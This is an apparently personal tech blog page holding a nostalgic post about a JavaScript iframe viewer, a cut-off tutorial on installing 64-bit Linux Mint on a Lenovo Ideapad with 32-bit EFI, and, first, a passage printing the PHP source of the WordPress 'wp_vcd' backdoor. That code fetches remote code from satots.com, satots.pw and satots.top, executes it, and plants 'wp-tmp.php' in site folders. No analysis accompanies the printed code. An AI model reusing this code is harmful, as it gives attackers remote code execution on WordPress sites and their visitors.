<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>if (!empty($_REQUEST['newdomain']))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>{</span><br />
<span style="font-size: xx-small;"> if ($file = @file_get_contents(__FILE__))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> {</span><br />
<span style="font-size: xx-small;"> if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))</span><br />
<span style="font-size: xx-small;"> {</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> @file_put_contents(__FILE__, $file);</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> print "true";</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> }</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>}</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>}</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>break;</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>case 'change_code';</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>if (isset($_REQUEST['newcode']))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>{</span><br />
<span style="white-space: pre;"><span style="font-size: xx-small;"> </span></span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>if (!empty($_REQUEST['newcode']))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>{</span><br />
<span style="font-size: xx-small;"> if ($file = @file_get_contents(__FILE__))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> {</span><br />
<span style="font-size: xx-small;"> if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))</span><br />
<span style="font-size: xx-small;"> {</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> @file_put_contents(__FILE__, $file);</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> print "true";</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> }</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>}</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>}</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>break;</span><br />
<span style="white-space: pre;"><span style="font-size: xx-small;"> </span></span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>default: print "ERROR_WP_ACTION WP_V_CD WP_CD";</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>}</span><br />
<span style="white-space: pre;"><span style="font-size: xx-small;"> </span></span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>die("");</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>}</span><br />
<br />
<span style="font-size: xx-small;">$div_code_name = "wp_vcd";</span><br />
<span style="font-size: xx-small;">$funcfile = __FILE__;</span><br />
<span style="font-size: xx-small;">if(!function_exists('theme_temp_setup')) {</span><br />
<span style="font-size: xx-small;"> $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];</span><br />
<span style="font-size: xx-small;"> if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> function file_get_contents_tcurl($url)</span><br />
<span style="font-size: xx-small;"> {</span><br />
<span style="font-size: xx-small;"> $ch = curl_init();</span><br />
<span style="font-size: xx-small;"> curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);</span><br />
<span style="font-size: xx-small;"> curl_setopt($ch, CURLOPT_HEADER, 0);</span><br />
<span style="font-size: xx-small;"> curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);</span><br />
<span style="font-size: xx-small;"> curl_setopt($ch, CURLOPT_URL, $url);</span><br />
<span style="font-size: xx-small;"> curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);</span><br />
<span style="font-size: xx-small;"> $data = curl_exec($ch);</span><br />
<span style="font-size: xx-small;"> curl_close($ch);</span><br />
<span style="font-size: xx-small;"> return $data;</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> function theme_temp_setup($phpCode)</span><br />
<span style="font-size: xx-small;"> {</span><br />
<span style="font-size: xx-small;"> $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");</span><br />
<span style="font-size: xx-small;"> $handle = fopen($tmpfname, "w+");</span><br />
<span style="font-size: xx-small;"> if( fwrite($handle, "<?php\n" . $phpCode))</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> {</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> }</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>else</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>{</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>$tmpfname = tempnam('./', "theme_temp_setup");</span><br />
<span style="font-size: xx-small;"> $handle = fopen($tmpfname, "w+");</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>fwrite($handle, "<?php\n" . $phpCode);</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>}</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>fclose($handle);</span><br />
<span style="font-size: xx-small;"> include $tmpfname;</span><br />
<span style="font-size: xx-small;"> unlink($tmpfname);</span><br />
<span style="font-size: xx-small;"> return get_defined_vars();</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;">$wp_auth_key='2967d26a5e5850cadd9eced25d5465fa';</span><br />
<span style="font-size: xx-small;"> if (($tmpcontent = @file_get_contents("http://www.satots.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.satots.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"> if (stripos($tmpcontent, $wp_auth_key) !== false) {</span><br />
<span style="font-size: xx-small;"> extract(theme_temp_setup($tmpcontent));</span><br />
<span style="font-size: xx-small;"> @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {</span><br />
<span style="font-size: xx-small;"> @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> if (!file_exists(get_template_directory() . '/wp-tmp.php')) {</span><br />
<span style="font-size: xx-small;"> @file_put_contents('wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> elseif ($tmpcontent = @file_get_contents("http://www.satots.pw/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;">if (stripos($tmpcontent, $wp_auth_key) !== false) {</span><br />
<span style="font-size: xx-small;"> extract(theme_temp_setup($tmpcontent));</span><br />
<span style="font-size: xx-small;"> @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {</span><br />
<span style="font-size: xx-small;"> @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> if (!file_exists(get_template_directory() . '/wp-tmp.php')) {</span><br />
<span style="font-size: xx-small;"> @file_put_contents('wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> } </span><br />
<span style="white-space: pre;"><span style="font-size: xx-small;"> </span></span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span> elseif ($tmpcontent = @file_get_contents("http://www.satots.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {</span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;">if (stripos($tmpcontent, $wp_auth_key) !== false) {</span><br />
<span style="font-size: xx-small;"> extract(theme_temp_setup($tmpcontent));</span><br />
<span style="font-size: xx-small;"> @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {</span><br />
<span style="font-size: xx-small;"> @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> if (!file_exists(get_template_directory() . '/wp-tmp.php')) {</span><br />
<span style="font-size: xx-small;"> @file_put_contents('wp-tmp.php', $tmpcontent);</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;"><span style="white-space: pre;"> </span>elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {</span><br />
<span style="font-size: xx-small;"> extract(theme_temp_setup($tmpcontent));</span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {</span><br />
<span style="font-size: xx-small;"> extract(theme_temp_setup($tmpcontent)); </span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"> } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {</span><br />
<span style="font-size: xx-small;"> extract(theme_temp_setup($tmpcontent)); </span><br />
<span style="font-size: xx-small;"><br /></span>
<span style="font-size: xx-small;"> } </span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> </span><br />
<span style="font-size: xx-small;"> }</span><br />
<span style="font-size: xx-small;">}</span><br />
<div>
<br /></div>
<blockquote class="tr_bq">
<b>
</b></blockquote>
</div>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com2tag:blogger.com,1999:blog-8206292603302104841.post-30391803416542732492018-10-28T11:14:00.002+02:002018-10-28T11:18:02.945+02:00Why i love what i do<div style="background-position: 0px 0px; border: 0px; box-sizing: border-box; cursor: text; line-height: 3.2rem; margin-bottom: 3.2rem; margin-top: 3.2rem; outline: 0px; padding: 0px; vertical-align: baseline;">
<div class="separator" style="clear: both; text-align: center;">
<u style="text-align: start;"># Project Name: MultiPager</u><br /><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxPq8puPC17mp9B0JxyqrBAYqhF-VipaIgbBt5xjfNjZcNWvIXlmbGEZStFaHAY4f5a_Z_O6WHc508ANmVLhp4rXOGn4yiqGcl0x30ldApe9HTfP0jk6IGfkPFHze4o8TwG-S0SdyKqAI/s1600/Untitled.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="900" data-original-width="1600" height="179" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxPq8puPC17mp9B0JxyqrBAYqhF-VipaIgbBt5xjfNjZcNWvIXlmbGEZStFaHAY4f5a_Z_O6WHc508ANmVLhp4rXOGn4yiqGcl0x30ldApe9HTfP0jk6IGfkPFHze4o8TwG-S0SdyKqAI/s320/Untitled.png" width="320" /></a></div>
<u><br /></u>
Well i like to treat my projects/code/scripts/ideas as some thing a little bit more than just simple text lines.<br />
Every bit of thinking energy i spent on even a typical [HELLO WORLD] hides something behind it way more than 34 chars. System.out.println("Hello World");<br />
<br />
Hence why i'm writing this , while i was making a backup of my files i came across a source file (created 8 years ago) with the following code and all of a sudden , memories , feelings and a weird smile were fulfilling me. That source code had something more than just lines. Something deeper than a spaghetti code. It was a sum-up of an old idea with all of its pros & cons , expectations and memories of the whole process.<br />
That is why i love what i do , and that is why everyday in my continuous learning journey i'm enjoying every part of it.<br />
Every <b>bit</b> and <b>byte</b>.<br />
<br />
That is the interpretation of a small project i've always had in mind since high-school which i've decided to post online as a blog rather than a repo. on github to preserve it as a memory.<br />
Some KEY variables:<br />
My high-school time dates back to 2009 => So if we put it in an equation: <br />
NOW - THEN = 9 years ago.<br />
Since then lots of things obv. have changed in matter of RAM , processing power , multiple monitor setups so basically the idea behind it applied to today standards doesn't really have any use. <br />
BUT back then we were rocking (at least me) one VGA monitor and between 128-512mb of ram. So that basically sums up when and why the idea was born.<br />
<br />
<b>Functionality:</b><br />
To be able to access multiple websites and being able to view/access them at the same time in one window. No tabs , no other windows. All the webpages inside one ~ (1024X768 was the most used monitor resolution) <br />
Thats really what got me in to looking on how to create via javascript dynamically objects (in this scenario iframes and buttons in order to load the desired url destination in a small defined iframe inside my parent page).<br />
<b><br />Why the ship had sunk before it was ever created:</b><br />
Well creating dynamically objects was very interesting as a task but then i came across the Cross-Origin policy which basically made me lose any interest into bringing-to-life the whole idea. I had the whole structure and some of the core functions implemented but in the end the journey was a great experience even though i didn't reach the destination.<br />
<br />
Last but not least , it made me smile. An abandoned idea, 8 years after , gave me a moment , a flash back , and that's the value of it. It cannot be defined. A worth-less , priceless moment of joy.<br />
<br />
<div style="background-color: #1e1e1e; color: #d4d4d4; font-family: "droid sans mono", monospace, monospace, "droid sans fallback"; font-size: 14px; line-height: 19px; white-space: pre;">
<div>
<span style="color: grey;"><</span><span style="color: #569cd6;">script</span> <span style="color: #9cdcfe;">language</span>=<span style="color: #ce9178;">"JavaScript"</span> <span style="color: #9cdcfe;">type</span>=<span style="color: #ce9178;">"text/javascript"</span><span style="color: grey;">></span> </div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">id</span> = <span style="color: #b5cea8;">0</span>;</div>
<div>
<!-- <span style="color: #9cdcfe;">Zoom</span> <span style="color: #4ec9b0;">Function</span>--></div>
<div>
<span style="color: #569cd6;">function</span> <span style="color: #dcdcaa;">sliderChange</span>(<span style="color: #9cdcfe;">val</span>) </div>
<div>
{</div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">zoomlvl</span> = <span style="color: #9cdcfe;">val</span>;</div>
<div>
<span style="color: #c586c0;">if</span> (<span style="color: #9cdcfe;">val</span><<span style="color: #b5cea8;">80</span>)</div>
<div>
{</div>
<div>
<span style="color: #9cdcfe;">zoomlvl</span> = <span style="color: #b5cea8;">80</span>;</div>
<div>
}</div>
<br />
<div>
<span style="color: #6a9955;">// Use Ajax post to send the adjusted value to PHP or MySQL storage</span></div>
<div>
<span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'sliderStatus'</span>).<span style="color: #9cdcfe;">innerHTML</span> = <span style="color: #9cdcfe;">val</span> + <span style="color: #ce9178;">"%"</span>;</div>
<div>
<span style="color: #9cdcfe;">document</span>.<span style="color: #9cdcfe;">body</span>.<span style="color: #9cdcfe;">style</span>.<span style="color: #9cdcfe;">zoom</span> = <span style="color: #9cdcfe;">zoomlvl</span> + <span style="color: #ce9178;">"%"</span>;</div>
<div>
}</div>
<div>
<span style="color: #569cd6;">function</span> <span style="color: #dcdcaa;">frameremove</span>()</div>
<div>
{</div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">elem2</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'id'</span>);</div>
<div>
<span style="color: #9cdcfe;">elem2</span>.<span style="color: #9cdcfe;">parentNode</span>.<span style="color: #dcdcaa;">removeChild</span>(<span style="color: #9cdcfe;">elem2</span>)</div>
<div>
</div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">elem3</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'id'</span>);</div>
<div>
<span style="color: #9cdcfe;">elem3</span>.<span style="color: #9cdcfe;">parentNode</span>.<span style="color: #dcdcaa;">removeChild</span>(<span style="color: #9cdcfe;">elem3</span>)</div>
<div>
}</div>
<div>
</div>
<div>
<span style="color: #569cd6;">function</span> <span style="color: #dcdcaa;">makeFrame</span>() </div>
<div>
{ <span style="color: #6a9955;">//////////////////////////////////////////////////////////</span></div>
<div>
<span style="color: #6a9955;">//Get the value from txtbox</span></div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">webinput</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'inputurl'</span>).<span style="color: #9cdcfe;">value</span>;</div>
<div>
<span style="color: #6a9955;">/////////////////////////////////////////////////////////</span></div>
<div>
</div>
<div>
<span style="color: #6a9955;">/////////////////////////////////////////////////////////</span></div>
<div>
<span style="color: #6a9955;">//Create the iframe element</span></div>
<div>
<span style="color: #9cdcfe;">ifrm</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">createElement</span>(<span style="color: #ce9178;">"IFRAME"</span>); </div>
<div>
<span style="color: #6a9955;">/////////////////////////////////////////////////////////</span></div>
<div>
</div>
<div>
<span style="color: #6a9955;">//Error page that shows up on blank searches</span></div>
<div>
<span style="color: #c586c0;">if</span> (!<span style="color: #9cdcfe;">webinput</span>)</div>
<div>
{</div>
<div>
<span style="color: #9cdcfe;">webinput</span> = <span style="color: #ce9178;">"test.html"</span>;</div>
<div>
<span style="color: #9cdcfe;">ifrm</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"src"</span>,<span style="color: #9cdcfe;">webinput</span>); </div>
<div>
<span style="color: #9cdcfe;">ifrm</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"id"</span>,<span style="color: #ce9178;">"id"</span>);</div>
<div>
}</div>
<div>
<span style="color: #c586c0;">else</span> <span style="color: #6a9955;">//Normal Search Function</span></div>
<div>
{ </div>
<div>
<span style="color: #6a9955;">//PROXY SERVER</span></div>
<div>
<span style="color: #6a9955;">//ifrm.setAttribute("src","http://proxy2974.my-addr.org/myaddrproxy.php/http://" + webinput); </span></div>
<div>
<span style="color: #9cdcfe;">ifrm</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"src"</span>,<span style="color: #9cdcfe;">webinput</span>); </div>
<div>
<span style="color: #9cdcfe;">ifrm</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"id"</span>,<span style="color: #ce9178;">"id"</span>);</div>
<div>
}</div>
<div>
</div>
<div>
<span style="color: #6a9955;">//////////////////////////////////////</span></div>
<div>
<span style="color: #6a9955;">// IFRAME WIDTH & HEIGHT //</span></div>
<div>
<span style="color: #6a9955;">/////////////////////////////////////</span></div>
<div>
<span style="color: #9cdcfe;">ifrm</span>.<span style="color: #9cdcfe;">style</span>.<span style="color: #9cdcfe;">width</span> = <span style="color: #b5cea8;">600</span>+<span style="color: #ce9178;">"px"</span>; </div>
<div>
<span style="color: #9cdcfe;">ifrm</span>.<span style="color: #9cdcfe;">style</span>.<span style="color: #9cdcfe;">height</span> = <span style="color: #b5cea8;">480</span>+<span style="color: #ce9178;">"px"</span>; </div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">counter</span> = <span style="color: #b5cea8;">0</span>; </div>
<div>
<span style="color: #9cdcfe;">counter</span>++;</div>
<div>
<span style="color: #6a9955;">/////////////////////////////////////</span></div>
<br />
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">beforeitem</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'social'</span>);</div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">main</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'main'</span>);</div>
<div>
<span style="color: #9cdcfe;">main</span>.<span style="color: #dcdcaa;">insertBefore</span>(<span style="color: #9cdcfe;">ifrm</span>, <span style="color: #9cdcfe;">main</span>.<span style="color: #9cdcfe;">beforeitem</span>);</div>
<div>
</div>
<div>
<span style="color: #6a9955;">///////////////////////////////////////////////////////</span></div>
<div>
<span style="color: #6a9955;">//Creation of the remove button</span></div>
<div>
<span style="color: #9cdcfe;">btnremove</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">createElement</span>(<span style="color: #ce9178;">"INPUT"</span>);</div>
<div>
<span style="color: #9cdcfe;">btnremove</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"type"</span>,<span style="color: #ce9178;">"submit"</span>);</div>
<div>
<span style="color: #9cdcfe;">btnremove</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"value"</span>,<span style="color: #ce9178;">"X"</span>); </div>
<div>
<span style="color: #9cdcfe;">btnremove</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"onClick"</span>,<span style="color: #ce9178;">"frameremove();"</span>); </div>
<div>
<span style="color: #9cdcfe;">btnremove</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"id"</span>,<span style="color: #ce9178;">"id"</span>);</div>
<div>
<span style="color: #9cdcfe;">btnremove</span>.<span style="color: #dcdcaa;">setAttribute</span>(<span style="color: #ce9178;">"class"</span>,<span style="color: #ce9178;">"button"</span>);</div>
<div>
<span style="color: #9cdcfe;">id</span> = <span style="color: #9cdcfe;">id</span>+<span style="color: #b5cea8;">1</span>;</div>
<div>
<span style="color: #9cdcfe;">main</span>.<span style="color: #dcdcaa;">insertBefore</span>(<span style="color: #9cdcfe;">btnremove</span>, <span style="color: #9cdcfe;">main</span>.<span style="color: #9cdcfe;">beforeitem</span>);</div>
<div>
<span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'inputurl'</span>).<span style="color: #9cdcfe;">value</span> = <span style="color: #ce9178;">""</span>; </div>
<div>
<span style="color: #6a9955;">///////////////////////////////////////////////////////</span></div>
<div>
} </div>
<div>
</div>
<div>
<span style="color: #569cd6;">function</span> <span style="color: #dcdcaa;">erase</span>(<span style="color: #9cdcfe;">html_id</span>)</div>
<div>
{</div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">elem</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'btnadd'</span>);</div>
<div>
<span style="color: #9cdcfe;">elem</span>.<span style="color: #9cdcfe;">parentNode</span>.<span style="color: #dcdcaa;">removeChild</span>(<span style="color: #9cdcfe;">elem</span>)</div>
<div>
<span style="color: #569cd6;">var</span> <span style="color: #9cdcfe;">main</span> = <span style="color: #9cdcfe;">document</span>.<span style="color: #dcdcaa;">getElementById</span>(<span style="color: #ce9178;">'main'</span>);</div>
<div>
<span style="color: #9cdcfe;">main</span>.<span style="color: #dcdcaa;">appendChild</span>(<span style="color: #9cdcfe;">elem</span>);</div>
<div>
}</div>
</div>
</div>
LibTiffhttp://www.blogger.com/profile/13909784003708409957noreply@blogger.com0tag:blogger.com,1999:blog-8206292603302104841.post-88242686147226683512018-07-14T13:33:00.003+03:002018-07-30T20:26:19.824+03:00[Tutorial]Linux x64 on Baytrail 32bit EFI(Lenovo Ideapad100s-11iby)<span style="font-family: "arial" , "helvetica" , sans-serif;">In this tutorial after some pretty "tough" trial&error series i'll show you step-by-step how i managed to get my Lenovo Ideapad 100S -11IBY laptop to successfully boot and install Linux Mint 19 XFCE.<br /><br /><b>The story behind it:</b><br />First thing first , low spec laptop + Windows 10 (Bloatware party) = Slowness.<br />Also this laptop comes up with pre-installed 32bit Windows10 version and with a 32bit UEFI bios making it a real pain to install an x64 bit os and take advantage of the x64 support of the cpu.<br /><br /><b>Laptop Specs:</b></span><br />
<ul style="border: 0px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline;"><br /><pre style="background-color: #eff0f1; border: 0px; box-sizing: inherit; color: #111111; font-size: 13px; font-stretch: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"><ul style="border: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-stretch: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline; white-space: normal;">CPU: 1.33 GHz quad-core Intel Atom Z3735F (64bit support - hence the x64bit OS) </ul>
<ul style="border: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-stretch: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline; white-space: normal;">Graphics: Intel HD Graphics (Bay Trail) </ul>
<ul style="border: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-stretch: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline; white-space: normal;"> RAM: 2GB </ul>
<ul style="border: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-stretch: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline; white-space: normal;"> Storage: 32GB eMMC </ul>
<ul style="border: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-stretch: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline; white-space: normal;"> Screen: 11.6-inch, 1,366 x 768 matte TN LED display </ul>
<ul style="border: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-stretch: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline; white-space: normal;">Connectivity: 802.11n Wi-Fi, Bluetooth 4.0 (Low Energy)
</ul>
<ul style="border: 0px; color: black; font-family: "Times New Roman"; font-size: medium; font-stretch: inherit; line-height: inherit; list-style: none; margin: 0px 0px 1em; padding: 0px; vertical-align: baseline; white-space: normal;">Weight: 2.2 pounds
Size: 11.5 x 7.95 x 0.69 inches (W X H X D)</ul>
</pre>
<li style="border: 0px; font-stretch: inherit; font-variant-east-asian: inherit; font-variant-numeric: inherit; line-height: 1.5; list-style: disc inside; margin: 0px; padding: 0px; vertical-align: baseline;"><span style="font-family: "arial" , "helvetica" , sans-serif;"><span style="background-color: white; color: #333333; font-style: inherit;"><b style="font-family: arial, helvetica, sans-serif;">What we will need:</b><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;">1) USB Stick</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;">2) Rufus</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;">3) x64 Linux Distro</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;">4) bootia32.efi</span><br /><br /><b style="font-family: arial, helvetica, sans-serif;">Lets start:</b><br /><b style="font-family: arial, helvetica, sans-serif;">1) </b><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;">Burn the image to your usb stick using Rufus , copy-paste the bootia32.efi file inside your usb in the "/EFI/BOOT" directory.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>2) </b>Disable Secure-Boot from your bios.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>3) </b>Boot from your usb , (in Lenovo IDEAPAD 100S you have to press FN+F12)</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>4) </b>Select the first option to boot live distro </span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>5) </b>From the live linux desktop select the icon to install the OS to your harddrive.</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"><b>6) </b>At the last step it will fail showing the following message</span><br /><span style="font-family: "arial" , "helvetica" , sans-serif; font-weight: inherit;"> </span><a 